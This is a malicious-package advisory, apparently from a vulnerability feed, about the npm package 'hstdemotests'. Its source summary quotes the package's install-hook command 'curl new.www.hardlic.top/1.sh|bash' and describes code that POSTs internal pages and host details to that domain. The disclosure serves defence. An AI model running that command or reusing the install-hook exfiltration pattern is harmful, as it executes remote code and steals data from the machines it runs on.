---
id: "MAL-2026-19949"
page: "https://infrastack.ai/live/MAL-2026-19949"
kind: "package"
aliases: ["MAL-2026-19949"]
title: "Malicious code in hstdemotests (npm)"
severity: "critical"
cvss: null
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "hstdemotests", "note": "all versions", "fixed": [], "affected": "", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["malicious", "package"]
not_affected_if: []
published_at: "2026-11-14T15:13:52+00:00"
first_seen_at: "2026-11-16T06:03:36+00:00"
updated_at: "2026-11-16T06:12:20+00:00"
sources: [{"source": "osv-malicious", "url": "https://osv.dev/vulnerability/MAL-2026-19949", "first_seen_at": "2026-11-16T06:03:36+00:00"}]
exploit_sources: []
---

# Malicious code in hstdemotests (npm)

Link for people: https://infrastack.ai/live/MAL-2026-19949 (this .md is for agents)

## Affected

- npm:hstdemotests affected range not listed fixed no fixed version listed

## Timeline

- 2026-11-16T06:03:36+00:00 osv-malicious https://osv.dev/vulnerability/MAL-2026-19949

## From the sources

`hstdemotests` runs `curl new.www.hardlic.top/1.sh|bash` in both `preinstall` and `postinstall`, executing a remote script on every install. On `require`, `index.js` fetches an internal page (`http://tst.woa.com/flag.html`) from the victim's network and POSTs its content to `http://new.www.hardlic.top/recive.php`. A bundled `demo.js` collects `whoami`, the hostname and `ifconfig`/`ipconfig` output and POSTs them to `http://new.www.hardlic.top/cnbos.php`. Sibling of `hstdemotest`.

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
